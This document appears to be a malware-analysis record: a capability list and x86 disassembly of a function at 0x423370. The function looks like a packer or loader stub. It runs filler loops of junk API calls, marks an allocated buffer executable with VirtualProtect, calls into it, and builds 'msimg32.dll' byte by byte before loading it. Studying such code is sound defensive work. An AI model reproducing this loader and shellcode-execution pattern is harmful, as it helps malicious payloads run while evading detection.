Function at 0x423370
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x20b0
call fcn.0040e0b0
push ebx
mov ebx, dword [esp + 0x34]
push ebp
mov ebp, dword [esp + 0x9c]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor esi, esi
cmp esi, 0x2cc42
jge 0x4233a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x7c03d8], 0x6fb
jne 0x4233c1
push 0
push 0
lea eax, [esp + 0xcc8]
push eax
push 0
call edi
cmp esi, 0x1e9b2138
jle 0x4233d9
cmp ebx, 0xc10b08
je 0x4233d9
cmp ebp, 0x963c600
jne 0x4233e2
inc esi
cmp esi, 0x99752
jl 0x423397
cmp dword [0x7c03d8], 0xcf8
jne 0x423436
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405350
fstp st(0)
fldz
fstp qword [esp]
call fcn.004054a0
fstp st(0)
push 0
push 0
push 0
push 0x43b6a8
call fcn.0040500b
push 0
call fcn.00405313
add esp, 0x1c
push 0
push 0
call fcn.00404d77
add esp, 8
push 0
call fcn.004052c1
mov edi, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x423457
mov eax, 0x5d1
add dword [0x7c03d8], eax
cmp dword [0x7c03d8], 3
jne 0x423474
push 0
push 0
call edi
push 0
push 0
lea ecx, [esp + 0xc8]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x423444
mov edx, dword [0x7c03d8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x44043c], eax
mov eax, dword [0x7c03d8]
xor esi, esi
test eax, eax
je 0x4234e6
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, edi
cmp eax, 0xfe
jne 0x4234bd
push 0
call ebx
call ebp
call fcn.00422f20
mov eax, dword [0x7c03d8]
cmp eax, 0x29
jne 0x4234e1
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x7c03d8]
inc esi
cmp esi, eax
jb 0x4234b0
cmp eax, 0x70
jne 0x4235aa
push 0
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0x404634
push 0x40464c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x404668
lea ecx, [esp + 0x18c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4046b4
lea edx, [esp + 0x14c4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
lea eax, [esp + 0x1cc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
push 0
lea ecx, [esp + 0x4c8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0xcc4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x4046e8
push 0x404708
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x7c03d8]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x40], 0x9682ab
lea ebx, [ebx]
cmp eax, 3
jne 0x4235ea
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x7c03d8]
cmp eax, 0xdf
jne 0x423721
push 0
push 0
push 0
call esi
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x50]
push eax
push ecx
push ecx
lea edx, [esp + 0x4cc]
push edx
push ecx
mov dword [esp + 0x58], ecx
call ebp
push 0
push 0
push 0
call ebx
push 0x404728
push 0x404754
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x4c]
push eax
push 0
lea ecx, [esp + 0xa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea edx, [esp + 0x54]
push edx
push 0x404778
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0xcc4]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
mov dword [esp + 0x68], 0
push 0
lea eax, [esp + 0x70]
push eax
call fcn.00407690
add esp, 0xc
push 0
lea ecx, [esp + 0x68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x7c03d8]
dec dword [esp + 0x40]
jne 0x4235d0
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea esp, [esp]
push 0
call edi
push 0
call ebx
dec esi
jne 0x423740
mov eax, dword [0x7c03d8]
mov ecx, dword [0x44043c]
lea edx, [esp + 0x48]
push edx
push 0x40
push eax
push ecx
mov byte [0x43b6a8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004231b0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
jmp 0x423780
cmp dword [0x7c03d8], 0xba
jne 0x423799
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4237ac
mov eax, 0x49f4
add dword [0x44043c], eax
inc esi
cmp esi, 0x1605a
jl 0x423780
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, 0xf2b8b
cmp dword [0x7c03d8], 0x21
jne 0x4237cd
push 0
call esi
dec edi
jne 0x4237c0
mov eax, 0x73
mov ecx, 0x6d
mov word [0x7bf3ea], ax
mov word [0x7bf3ee], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x7bf3f2], dx
mov word [0x7bf3fe], cx
mov word [0x7bf3f0], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x7bf3e8
mov dword [0x7bf3f8], 0x6c0064
mov word [0x7bf3ec], cx
mov word [0x7bf3e8], dx
mov word [0x7bf3fc], ax
mov dword [0x7bf3f4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7c03d8], 0xc30
jne 0x4238aa
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
lea eax, [esp + 0x4c4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret